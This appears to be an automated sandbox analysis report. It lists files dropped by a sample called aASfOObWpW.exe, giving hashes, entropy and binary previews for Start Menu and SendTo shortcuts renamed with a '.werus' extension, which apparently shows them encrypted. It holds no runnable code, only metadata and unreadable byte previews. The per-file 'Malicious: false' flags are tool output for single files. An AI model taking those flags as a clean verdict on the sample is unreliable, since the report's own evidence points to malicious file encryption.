MD5:	DAC2AE846A3B6F8FA528B45ABBEA2465
SHA1:	D5A003DC8D248218BECF5832CBD1E62B127C0B62
SHA-256:	9BBC4AB24186491A26158633FE8321E5E722A7432C52535E3224AF74199E3D0B
SHA-512:	003F2863A877EBAA43F772241F6158FC4BD5F6D7B41C9B7A2A597DDEF067F34C05DE7B90F9562A213FEC4575F5ACEC005CAC724635933D8E19719D5D2B131115
Malicious:	false
Preview:	......%Y.u .2..

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Documents.mydocs.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:zJCP:kP
MD5:	37830DCFC3BBD37F9777865AF8B758F6
SHA1:	0FB29F5C11F2D6CFFAF855AB4ADC18D10360A0D3
SHA-256:	8572CB5C14FE04B501D54B106FED58084617983903D03A4E6452C3D3DF7624CA
SHA-512:	6D6D6BF5A3C22F25289A22A004ECF1A278E870233E0BDB8F0C70823FA921EC115D784B76FAD386348AAA326144852CD74B5B23678F0DDFD07CA8523AD37FB04F
Malicious:	false
Preview:	.<.D..Kl...T.i.

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Fax Recipient.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1120
Entropy (8bit):	7.824272753613032
Encrypted:	false
SSDEEP:	24:4wcNgxYgXF0lMC+e6nE6BTsCIJu01mdT+16634SpY92+W:4yOl1+ko4bJuzdF6oSpYnW
MD5:	D4D9A96A500AFB6DAFF9571A461A9169
SHA1:	5529E8E0DBA6E6CC0A0DAF8C767D1113B6283F0E
SHA-256:	DBE5446BFE423800B5E521EC03682DB77ADC7B2E8BE87119CDF12AEDDD2E1F90
SHA-512:	46527E3B4AF4B6201CF9498082F9E597FD5BD851EC606FAD7A86E3538C21CE476B82FAE76FADF1D09A3556CACB01DF788BA97DB61592441962E033DFBA372625
Malicious:	false
Preview:	.&.........r.....M.!..P,.6.j%,...U..z.?..6H..}sZ...:$.fv.....z....h..}"3.:-..5.P..3..(.........y.[L"hvX..x7b.}..aa]E..\qPG...!-BRN.....%..H.t./...y"....^..yxR^V.>?#g..'.0....".)./.&o...,..9.D.g....$..XK..e.8...c..6.uW...kS.{..o...W..S..o.e.H...[...(....Z..Q..XE.C.%........q..g..'c.4@.^=p.+....2.4.o;8....f...I....s.......r5`(.!.5.!..R7..!.OD.T.!.CyS< ......P..U/..h.}...<....._t."...N........9.Y.!.=......./.,C;..I.M....Ct.C....n39.......{...Y:K...m.j.4U.....2.X..8-.Vt......5........4.O.)..5..p..g..T1.....A..%R.bWm.`...v.....D...5I.Dj=D.T..N.....b...r\|......2.....&.;..[.m.<...=......~.BG...P.T...>e.Z.........-.u4D.....A`2...RxW..M.........(A..'..T....<.WiTt..^.N....D.{e..i%y.Sq.K..mMgq......x.y.sA......`....R/e.Z)C.d-V......5..n....8.p......P..OeYm^3...o1.Xj.%.)....$.....M/T.......:..E...Y..;...........*i.`.............e..K\|.2.g.=}~$Re..5..h..._.)..R......e.}j.2...Q.>v...\.w...N0.....!{.O..w.....>..\.Y...U......\.;.,.......B..

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Mail Recipient.MAPIMail.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:1Bmaw:1Q5
MD5:	3C108517A34E64854154051168E0CC7E
SHA1:	6B0A6F88D16FC3B42893F6F71033DFF6182F56D1
SHA-256:	1831969FFB7C791427954ADCFE9156B6141A1AF6A5E8A7C556668DA5C8415055
SHA-512:	CD4BDC11A45AA18565C1539686761C58580CA61990D66082E11497FFC78C9ED1D5EC17E43B3953EA6AFC0584061D379DA708B2C9F106A5B6AB09A6D79385E575
Malicious:	false
Preview:	...d..~.`9.3o.\.

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	704
Entropy (8bit):	7.66010661530092
Encrypted:	false
SSDEEP:	12:owqVeHX/vmEdXJOzjQXxLCpBw5G7IqMrN10k7gC5oHBH1nHmr3nLMGlHiJOzTor:DRX/vO0XxOACkZ157gC5cnHmr3LphiJz
MD5:	6749D2C3984FDDF41B2ECA3F8487177D
SHA1:	80149E43312E2F8D4A320C8F278F89E305165703
SHA-256:	F522AFCC244620012FBB9EE8AE5CDF34EB584F032706AD34388EDC69CC22EF7C
SHA-512:	0F2E7FA715294188C436CCF70833AFE4796F6C24513DF70C716DDA141D225D7D7501476A03D8E3D6FE3533E0D2346131E784481E3FB7B00290FB9F2B59A00D8F
Malicious:	false
Preview:	9.5.s...,a!G+A..I.hj.W.8-.L...S...5.O...Z..\...2{..#..>@..{y.r,A..{.\...+.3"....oS.%....N....{.....co"...E.....Izv..<.........B!..~8l`......R......q.1....[.../o!0....ia..M..[0.;....W...6.....w..tmJ....B./.....V.KU5..&..g>ZW.....7m...E.@T...mY.....Z..?..K..Z+....$.0.&.E.L.G.~...R..Y.6..:..vY<....v.......W..@...=.........v.^.IC../.7s....8.a.....fB....gb5.AO.Q.\|E:.\*f......V..Be..QV7cm.~C.....1.5(C.7...t.HB..D....z.E...v...7i.....J.!...Z.".8Y...X.<[.R~.V.s.qZ....I...jr.......;5^R._...]...U.f..c.r...7...3.m.S32@`6....f.....'.d^....s..-.........!.\l...Hc.>.m.4.bJJt..o.D..7..7).7`....T@./.. ~..eh.h&.....A.A..es...l>...2W...7...0....M.d....WhZ.n..o..t.I...U.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Magnify.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1120
Entropy (8bit):	7.793818403944576
Encrypted:	false
SSDEEP:	24:4yzjNo33+Hz6joxbef2TC+izACLVyB/5q9N6I3pjuAKfPm8N8Vfnfhz4:4yf633olxieKACLVyB/wpedNkfnx4
MD5:	F01B7CC0D75011518B74F6E9BEF21A60
SHA1:	9FC523DEFF88AB85D24376E0D6050894508AE02B
SHA-256:	765D761471E68061876E49C1BE25AFB9013A6B6B91AFEE76AB8E0C0E1DA29D3F
SHA-512:	8DFCA74B62748DEA8F224B2BB472519F037AF3D84760B8DCFD2A35EFEECA31A8AE64D4AB9BE9F65536FC870CF0DAC942457FC9DCDA8857F4A3B4947C7007F101
Malicious:	false
Preview:	.&.........r...{:..5.......8 ....1. ....nP...vc`...E....X&...9.....:.k..c....y\........,.....K..}.,`.. n,.i.3....4d.9..d....+.2..d..>.......D...... . GX4.&.o.8.n.B.e..W...........0R.......Y.m..z...O....8..9!..b..O..mre.8S..KD..U,..]..2\|..N.A?.;5f...q.YPL.W>d.\|..........(.e2.J....K:02..VV...F...,.UV=_..}..-.....r.....Q.z_.Y.;...).D.ohR..p..A.6.}.``..e..Oq.x.9G.......-. H~..aN.\.Z..1....N.........r}_3..(B"...V.&jd..[6...9Yqa..7....2@.X.{.v....0.....e3....).<......W.j...............Rd....L.y.....W.?.[..}....D.L.k.Ux.4.....-gb.......9.b.....>.wI....X....,.eh\|m)IT.@....b..V/.G.}o...(.@iY.m.\....l...2......x?..'.....^....J..0..B...L%..0!<..j...H...j..8..j.....&..7?H..A...%........mx....#........Z.PjZ(.)..Q..-g.UU............J..*3.{&[.t......k...^.......8nm[K'.....QY....q......2...Hq;..f.T.........k=..0.E..^.7{{..=.X......f.....a0..}./.q.^.!.>.tO...#.......NJo....Ex.<..]....p.{.aZ..aU.o{X.+....:...!.N.P".0z...6.\|0Ge....B$z....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Narrator.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1120
Entropy (8bit):	7.816639211437551
Encrypted:	false
SSDEEP:	24:4yGUK5JwetM8hOxEqGoMaA8oRofBd1H/sgW3rah3SDtgVBSNmoBJHu3:4y5y5tXWEqGoMv8oRCBdct+oBpu3
MD5:	A6F0F96F354E45357E213F3A9BD18C31
SHA1:	41B0B3AE80E6E99B83D687783ABC9DFFB99C94CC
SHA-256:	23B241F75E897043B65F181C61527B03D0E47133B0E5F5DA0462178925627CC4
SHA-512:	01009ACBCE2EF3BC130347F0A01BB92DFEA9B1584D652DDC1287D0C82BD10D4F4DA4D83E0B7D9F0EFFD62F4ECAEBD6F77E7152E1981D9D694825D7128F4EF1EE
Malicious:	false
Preview:	.&.........r...{:..5.......8 ....1. ....nP...v....z........{....d"t..F./.qq.........Q.O.N....l.n./...^5.D.z..w..L..h.....Cyw..9.e0...l[.'."..T...]...e{OV........9i....g...on..h.p]&J.xs..g".y.e.....`.W"..P....E......=i..t..M-....h.-i..3..{...?...a+.Z...}.........`U.t....q:.55...H. 30r........Y.0...W.2.Qz.DP..a..e..trN..x....\..=]...~@....AI"..g.O<(9..`8v.u....y.s}.(j.u..6D.....X..2/?B.'gu.I..nSb<O.J......+etf=X..\^D.@...F.r.R...C..o.%v6:.8..,..g....0.p-`......i..V&].^...~/.[.{..Rb..s_...\I..[..FM^....u...V\..w.....d.3....qC.....\....uP.....3..\|i@."......^.. {.%(S..5.\|.q.......}m.]....\.I.{C....NjfwV.e>.......jIo...X..#x.z.^+.{.x#=dht~..M2..z.p.}K..9.4..>.\". ./G!vm.HQZ..i.....#..,.-.9..`......D....i....I.m.$u.`.&...$....Lj6..K....5:.`.....E.u.YQ.A.D)V......f.@[..(.r..".,H.......r.....U..d....q...P.%4%..2..T...\|..]o.....syt.fmrf+...-....4...}...)MU...qYr..b...+..M....1.....XW.a...v..z.....'....c.^......0LM9.h.P..x..8T..r..'..n......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\On-Screen Keyboard.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1120
Entropy (8bit):	7.805462838880338
Encrypted:	false
SSDEEP:	24:4y0lGHZDrtdV81fUnVYLfgkiyWclMNA0CKxIKt9WSZkw7+lvz:4y0WVVYLf0AlMNSKxIUacovz
MD5:	D988AF571D332CA5E295DF418D091645
SHA1:	2B975743D2F440A7CE56B378A5E93199B990D792
SHA-256:	4B484BE8FC90FFE0CD8C02A8E321149A2F4791CCC319F6A0DAE41C4566FACDDC
SHA-512:	836C81A94466F07D074690DAB22FDA9CC8A2C4486C327E8EEBE518C23BEB7EB524FEE2D44FA75C39BA080DC432098311E197D70BF916A3D22E7BED5D991D9AF5
Malicious:	false
Preview:	.&.........r...{:..5.......8 ....1. ....nP...v....z........{.+..xe.H.-.?..2T._..T......L...m..C.2.E.....87.8.WN.....T`DRD.{.j..1.......@.j.KD-.W..K>.M.a.3C~}N.^. ,....s..,9..f...x..9........b......)0/..~..\....Prj...!"zh8.vn^R..B9d...DJ'.....i).N.......N#.xT.J..{...I..M.M...m.........H.L..7VSl...L.2R..\KQc.._.........o.R.%%}]...4.'.}...{X.1...p=..IB...LG.JF..h.!w.x/..<l>......2^...P"2V#GY..$.N..wEr$.({...2.<.d...+..C.G..`ZJ...x.U.3..l.."..0];..9U...4....-..h..@./iw....z.S(.d..J....;.w../7.P...4A...o\|..8.w..:...H.Q.}..\|...~"..H.X.r.+.,..e--....RT....H..v.....q.+..XgR......O.c:.s....>^b.7.p=X.[.W...g....'.....V?.4..s?[.H.....X5.....6=..v..@.i...9..Z.p^i7W&..w..W..A/mg........,.7.xT.]...q....0....?....,...T..:%..d....A.....v..G...T..d...T/...K......\.5............b...Dw.........fS.v.p.."d.....\|..a.(l.....6..c@...T.F..[F..M.VG.Ylj.?.f.5...I..n.B8o...~/.$........2..zBa..41...V.g.S.4B.....6f&-..B R0=.!.kCx..~.y..2.<j...X.=.z,...ph.o

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	576
Entropy (8bit):	7.636738936772661
Encrypted:	false
SSDEEP:	12:2a6D1iaSzYEJ2J+rfa51kXRL7bKQk7L14mDBzIbWN+BkpB8fbn:22zztrumXRL7b0H1ibWYBkf8fbn
MD5:	D898A90E9B7820C11EFA478EC0839C70
SHA1:	1932E518939BCA5534E64A97F9D366D7EEC84C31
SHA-256:	47B2151EB7850EB47995DAE38A8F18398CF78628CC3FBBAE1765FCAC80E51560
SHA-512:	AB6BA2DA0C46574230ECCA055CD94337CA89F5E349195C71F1AC250761936717562C49663B2195AA956DF9ED71BAB2B2CC5BF9708C71E666D68B10DA9230F142
Malicious:	false
Preview:	......hD.B......t..p..QlH..D....wD.a..;Z.NTm.l.<.l3'p.V.},.V."........K..X...@j.X...u.-..N.H..@K..B.../...}......7.d..}....e..0.s.".<wu53.V.W..I.T..K.......h....#C.V.g..$A.N...c...:..i.F...N.Y...\.3.....K..:",...`K.=..6.....#....+.i..\am.#....9....e.......y2.DM<M...-..7..=%.R.g..V.6..2-....X.6.7Y.K.`o..z,qVS{..ky..A\|7^.....1..v.u`..L....n.X.U.-......m../.y<.z\|u..*.j..^.[A.V........%%..L^......Q.6+>.k. ..\|...)...#..=..>..E.....6............k/...2u......B~......2).y....2..G....Lb\|0.....?......N.9WF.T..._..."./..IY..~...iP..E..T7

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Internet Explorer.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1344
Entropy (8bit):	7.838439200243184
Encrypted:	false
SSDEEP:	24:4s7YrRA30/DIgGhU2VgtCOmhtJhuz7hFPmO0hSMxCDwxNQArYMIUBLn5Ztn7lBbm:4s7YUgqC2VgtVYhu3hFeb7xCDKNQARzu
MD5:	BDEF7D484FD52F289A8BA0881F9A6F1E
SHA1:	F694B89C99D49CFD0A88A1509CEE219956E6D7E3
SHA-256:	24C0F57C4A7B3A6E048CC72AD3F79EBB14CDFD4D93464BC04618DE5024135DA4
SHA-512:	C75BBD3FA056259FEDB3CEA22DB342A5AD5078611A3FDD59BF8ADD8AA453EEFAB397DBBCB34016F43526446C666EE6BDF38301366D3DB2086E910E2FBC0CD98D
Malicious:	false
Preview:	.&.........r...\|o....L.N.q..d`.....1.&.pM/.\..U..l-.3.....[..2..Ai&..5...Acf."...v.+.......&W.4..F>.5.s.B.q.S<...\_.mf}...7.G..y.g.$..... 5.-..H.....2u....l..a,.....P5.....9...2s..B.............~$\|..}........-E.....?..2...ic.@.1sA...#e..S$rQQ.R...Cv.5..Q.q.s.eG..uVgA#.....~7..3b.j:..9Y.1Aa.a...W....u....6K...L....J..W4r.f..Du.I.)..o....e.d!..(-..F)i..U..9...c}.f...>....pb.`..t.............I..u \|."C6.g...._..^....XV.I....]$..@&o..>...j.k.P.Ht.....Y.....b.Ek2A.......@3....p.^....+..b....5A.............`H&.{..U(#.w{.xE(P...m...u..rN.4;..c.....d.....qY?.)m...X......2.+^,.Xw...%".....;8d6-.v.V.ck....Ng"....S....u.....8h.../..s.....q\.s..t.^.G..A.S...E...3...5Hm:.......- ...........BT..;....HQ.{@....?..f.#.{0v.....j....1.9[w....=.z.....{G.@Nkl..2...]..N....5..E...Z=a.........U.......]\M..;rf\...H.Q}g..WA..E..F.CXD....LB...X.......D#<b...y7...>U$....+..>%...7.:..E..d&.F".a.7.j.v.C'2s.{...+.T..T.L.B.......;.5.$u.;.kP ...r..1.2<.R.{....!X....d...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	352
Entropy (8bit):	7.385665222376249
Encrypted:	false
SSDEEP:	6:nlsak1D1ieXvMhC63Ia5B/JpDvUKowTE4QI3cgp8H/GFJ83LspOGoklTro0c/V8n:2a6D1iaSzYEJpDvRowTcHwW/Mu7smqrb
MD5:	B43D537A6C52225C06D84122855B5709
SHA1:	685F43EEB738E10C1041E637EEE81BC141575500
SHA-256:	F4052C9C568E7F2A4F9197422E956DD4E29E380ADBF05152C775952851AB6B64
SHA-512:	C6CCAEEB96013A68D7ECD508A52EFD959E1323E5C7A2CF8169B46D70EF64C94816602818AEB82F08393DD175A19AAF6C80060DC818E8F82063FA10F0FF3226BD
Malicious:	false
Preview:	......hD.B......t..p..QlH..D....wD.a..;Z.NTm.l.<.l3'p.V.},.V."........K..X...@j.X...u.-..N.H..@K..B.../...}......7.d..}....e..0.s.".<wu53.V.W..I.T..K....j....r.Vf...Y.......}u:..)..(6..d...VY'O.>.......y...@H...9F.E....<B\|...x..r.;.w.b...AM.k.uP.KD.D...`.]..+H.%....Q.0..c_@...V.J...X......C.........i.Ps...O.......O.._.a5r&.).....q

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	176
Entropy (8bit):	6.888242271972643
Encrypted:	false
SSDEEP:	3:uoTiz6sbbwQ+29aDOf26yJeWFSJDeJu3R85QXHuVYkUGftZqiGDMIZWen:TQ6VB292DZUSsxXcfmikb
MD5:	0DFE49013D1EF6BA1913BABBC9664CD5
SHA1:	47E65080AF8069B01DE5DDF8583131828667603C
SHA-256:	08916B36B1E2F385A4AF55CC58D987AA3DA2180646A21C78B431483EE407EFFE
SHA-512:	B68388AC172989DF0D9E52E99C21AAEBE6BABAEF52103C7CE8E94F709CFE393C21571F093CD2E3D217EE050E80D3FBD9E73CF11A1766D24EAC94C4F7E95ADCA1
Malicious:	false
Preview:	..,n]}3.....b?T..T.m>]Uw...3^.f(......{9.....HW.RY9...K.o.8..........C.A.sx'.F. .e{...DU...c...7.k.....r6bc....x.......==.:4.?.E...).B..X.c..2......yNe."..im..t...g.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	176
Entropy (8bit):	6.822845823084419
Encrypted:	false
SSDEEP:	3:0evNsakLBD1+SFEje/jODIvK719RBg63IY3smVB/KJ8/41onfAL:nlsak1D1ieXvMhC63Ia5B/JFnfAL
MD5:	54394ECFD09415AB17A925EA722CE047
SHA1:	8FC005CC519672D2003D871EAE3A0523672E7A8D
SHA-256:	33D401FFEBEBD0CE3E7DFDFBF45307C763F7CE77241BF3D02E579A63E5FA0593
SHA-512:	D8B778171D1D9DEB75854A58648068A9FFE4E58C313A0311730BB87DDAB94A7A7EC08760E12B0C763117B1E5904A09E6AE0A23609C87F23E2F55C3F1BA887B96
Malicious:	false
Preview:	......hD.B......t..p..QlH..D....wD.a..;Z.NTm.l.<.l3'p.V.},.V."........K..X...@j.X...u.-..N.H..@K..B.../...}......7.d..}....e..0.s.".<wu53.V.W..I.T..K.}K.Mpy.ic.....PN

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	176
Entropy (8bit):	6.854151362881733
Encrypted:	false
SSDEEP:	3:uoTiz6sbbwQ+29aDOf26yJeWFSJDeJu3R85QXHuVYkUGftZqinCA1MiIWzn:TQ6VB292DZUSsxXcfminD10Wzn
MD5:	C935880266B8FA2CFF2B2EEE9DF85994
SHA1:	E062FA4F9E0F68569E51D19A55FC02DC1211560E
SHA-256:	51CA1FCB1B69CF26205B6A572E162071582D957D3601C80A55F8D56C5554A90A
SHA-512:	491BFF1808D2947F89A5395B25C83D0C809AAA23A3C082079F303C3A9EECACCBDE6C5248E3746A34D2A2DDD0F10E81107167FAB3E417225E6A185F71E51F5495
Malicious:	false
Preview:	..,n]}3.....b?T..T.m>]Uw...3^.f(......{9.....HW.RY9...K.o.8..........C.A.sx'.F. .e{...DU...c...7.k.....r6bc....x.......==.:4.?.E...).B..X.c..2......yND'e...H..}..3V

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Administrative Tools.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1296
Entropy (8bit):	7.843084680604232
Encrypted:	false
SSDEEP:	24:4wXKFHdE5AiufrrCQoxf7DtydUGJQi/qVJFwr+awJa3aWccj9JITlMo47pn:4Z1dE5AiRlxfPtPsqVJSr2Ja3meJIR5C
MD5:	62D3E1BD076F59BF1EB5573E843E28B9
SHA1:	039CC8742C0C1932564C066DF8026D2FE21F8134
SHA-256:	406E64C1E9482C474A2B9D7151BC4A1E1B934434041A0DE9C28B67FB0703E789
SHA-512:	1039945ED47CEE91155579A675C43F69DD53463435DBF663D68DBD9F93EB686E8FEE6EF91F2DC2D7212DDBA409742622465883C4A7F8D6BE70D88A9CF956E185
Malicious:	false
Preview:	.&.........r.....M.!..P,.6.j%,...U..z.?..6H..}s.E.....k0....L....,.....Y....i.....8...4.g... ....#s"\|]C BnX....z..G..&Gmj..i....m3[X..;..IBI..4b.fAf........(.j.Y..N....>E3.....wvcC.,...%.. ._..l..nO.p...1.....L.E..vP.r..4.....]0.=.?@b.FJ..9...]u.neoD...O..K6.W.'.1.P..'...).?.6s..pdDS..\......eq..v6..I....]...@....-,....#E.."{..o....F........gh......xp........"...i+.Z........dNu%..=.>LkSi.]Q.1..I.u.(g.....U.e%.Q>..f!g...p.;...(%d.!..o\|.j.. Q......x.a.H.}..j...x...(...ivT..d..qE....d0.p.e..P.}..B........M.M..s.w....5w,S..@.x.wS~.-.l.l.9.D....7.=N.f}.a..r%u.9.F.H....@.r....&D...n.K2..A.o..=... ...c.[.y..n.Q.v....x.r...pow$.}O..8.0.:...q8..F........}..t.&'A.....K.......t.1.;.v.X._^..`+..yEZ.#......h..vYkL..Nl(....R.......7TD..y..r.n6x..'..s....{.A.F.&%$..D..LOC^.N......,6/l..e..+8..N.,.....>...6.....'.h..33ZP.8c>JX.....b.w.P>........v..S....G.[.Q."5.V.zq..^..1O..5..U.a..Fbc.K.7...H..P....d..i..$...u^.B.. .UbJ.....i.......L._R..F.A

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Command Prompt.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	7.818234809181006
Encrypted:	false
SSDEEP:	24:46m2rkJrYWfYXt0QWLrxoPG/cY7qCf8efGuTYFAOKQQbCoeIvMx:46orY+aKQc9oPmqM5fJMFAOgbL1Mx
MD5:	20DD3DD38EABFF29463D5224638E6C64
SHA1:	E68302C60CD1A6D62C39455A0C51C64F0A928F4B
SHA-256:	F480FD6DFBC53A74C565D8189C1578C6E0AC9F76E2DA4818D8C84437F511DC95
SHA-512:	3CC58FB73303C686C1A08E0CC71487B8BF7CFC7E2897169A7B6F1E55638CFFAE09ABF1C4F6A546C253B881A6EC504129B702A7DBAE158E69BBBD8864C84A0EC1
Malicious:	false
Preview:	.&.........r....N...4\|..:.6 ....n{bt).W8b.z.....)..0..!ho.....%.....<K....W.>...'..3....]iv.l.: ..;.N............rY...G.s.\.0EiK..u...c1...%.yKChj.if5l..N2...e....................M...l".......5.w..J..g^.~..<'...........O..wG~y.0.x.p...3...wo.5...T....9E.Q.;..h.......>7....,&~........_..,..R....qr"R..uy...._...@..K......r.3>..hlM?.yL.W4..S..GN..!wy6.UB..q#I..`...YC.>.]}..I..z... ...k`..R....zi/.+..E....I......lw.:.`.H.1a...K4.R.p!.w.l....f.h........G.....;.P.....0..(...9.......]'..A.w.~....Y..\|.....^...-..&aq.I.,C......8\|7\|.&. .[.s@..l..Y..,.'Y.d.n.84.c8u...nI1d....R..E.Iy.BKG.(......=\..!..2%y.....@.I..4... ...t.....-..q...Z....%.s..3..Z.f......I..-.9.g..U.TN\|..'4w.M.&...^,....yv....[d.cGD.M..x.......A.<...t.@....DB..`;Xh.....7..t....m!-..N@pD.....4..IP.<......M..7.H....?...j?.....@..0.].u"....s.3..~..%..{)...P.g.x.U..t.J.p:......K"...z...-<.....}...x]._..........!....n8..K.....x...cT.m.L'.L..l.&o.0.......'N..<:...\|..{:e.w!.....y..k....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Control Panel.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	416
Entropy (8bit):	7.49399939486675
Encrypted:	false
SSDEEP:	12:4uMR4cnSrS9tgKeqoSYs9U+vW6ppTS3ucwTynulYcI:4FXR9NeVI9lu6pFvi5
MD5:	D6948145FB0F05F91C5799DC3F9F2D96
SHA1:	96DF56C792329C5081989D64C9AF0694B0B8B148
SHA-256:	DDD579F13B3DCE11BDFB49FD10816DAE9DB9CF1536F05DCC78CCB28A9CF7EBF9
SHA-512:	5E4BB6C56E2FC70E439EA505972E5517FED83A56D339DC6177AD29A516C462782C1A72209DA51B937311406C3387AC8C1A50AE002812B8844F98B6C032AFC750
Malicious:	false
Preview:	.&.........r..........O.L..:.9J...`.}....FV...w.....~B7/U..-..`4:^yS...h=..G&Q.`?&.)\|X.(..v&/.L]..{..BB.p..F.i.+....^.~..;D}KX..xv...<...'Efj.$.i...R.C.v....:.G....\....z~....2...TK.<U.b...P...;?=z...._M..F....F.T....&...$c)..#.0..-..r..5J.M.N4....{...].V...L..........5-.6......w.,.}i....`.8./[..M.f.....v.C..s..3...A.`i.....R).E...N.......]$..N4.1.\|X.}.v....9,.8.a.Q?.u.+..E...........^.:.rgX9.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	944
Entropy (8bit):	7.756016988901962
Encrypted:	false
SSDEEP:	24:22zzDjBx56vKNfnTXTz/9DSo4jfqxrfRqXNJB4Idd:22zzXVfnTjz/14jE+B4Idd
MD5:	6D268D062BDFAEC80BDA37687B97F196
SHA1:	FAB082DF9CEB31F7ECEAA11C959F24555FE294A7
SHA-256:	A028504B406C9D340610A7F6C87D5BFC966F613A4D6E06EEB633CFF68BBE956A
SHA-512:	85908B0230CD5AED5F4A95EAE66E5A889EB423B896D777711B69A3DD16EBC5E17937F2A62CE3FCE75456332C00733B89D67D65571E9C7589FB61887398B33A11
Malicious:	false
Preview:	......hD.B......t..p..QlH..D....wD.a..;Z.NTm.l.<.l3'p.V.},.V."........K..X...@j.X...u.-..N.H..@K..B.../...}......7.d..}....e..0.s.".<wu53.V.W..I.T..K.z %.za..E.].{..N.F.$:..7...r........@V#..I..$.9!.......-.~...cn..p.l3P)'[.J<.4.....^.U-.5...<..l.z......i.......I....k....sx..<S.......<....N.4q.+O.._..TNQ.`.x..[T.............l^_..a.4...8T[.tqW..@N........"'T....+S!........S....C.^.(O.<...9.v+.f...E7...2C>...#!...ys.......Z^.qf...G..B.O+dV...?..PmG.f,Wi.r...!.Z0!..2.{_.&..dR._cv....0l8R!PK..v.c...G......o..X......t.J....<..i..Y....i....{.....Q...v.U........[.i..)K.......3..f....T/HBf.J?.......`.`k...S.r.E.....w.fo.....U2....0.h....B.&....\|.5..fz"...._.k.<..T..\W..G...../~":.jy......@.....}......A..w.MH.W>..w..[.}U..k.HT..W%[.z.h..c'+.<).\|E2.0 .rU.Wbkb3....2a.J.s~.^)...L.j.^.,>.#......9Q.[.r.z.#.._..)..u.rwJ..f....mb.......f..]......U^..-...=.}F'.^2Iz..!.....7.9L.k.....+..6a...J..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\File Explorer.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	416
Entropy (8bit):	7.575187946575444
Encrypted:	false
SSDEEP:	12:4uMR4HQGWNECyEGC/V3XW0MGwI05yviykph:4FnEC7V/V3XW0MG700viy8
MD5:	507E444C61CC440E6380716947259EC0
SHA1:	D79B6807109C1D91FB6D2F8B13C85D1ED98CDC33
SHA-256:	42B66E0BF672263C5AC99D910DDFAFB92D0D5BF7DB5C499CF24684B51039EF02
SHA-512:	60FC080081035B1CC9A635BE253DD3ADE67A1348EBA5B5C67F91090EEB79A5964ACBAA0D417FEE073A813BFDE7832B56D10BC35BA79675EB2F5F4E7D85820749
Malicious:	false
Preview:	.&.........r..........O.L..:.9J...`.}....FV...."..'.)fIl...1...6..d....E..@.-!.2.p.">@.......t.V.&.)\.r.-...'W..F_q.I..AE*.X.z.^R....g).4.;..."a..Z....J.I.#..M.;...cS:.l...,.....].......v........T..x.d/?.......I...<.]....Y..Q.K.d2ymX...Je.[...yM..H0.wN.Z._i.=+..;.1........H.A~...UQZ...A.<m.E2..-.f[.jX..2.4K}.{..`Wg.......{..2.j-.`#....M..kM%x....\|....1..q.L".C.<:...]...[..`..\.. 4u.a.Tk../mE.....mx

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Run.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
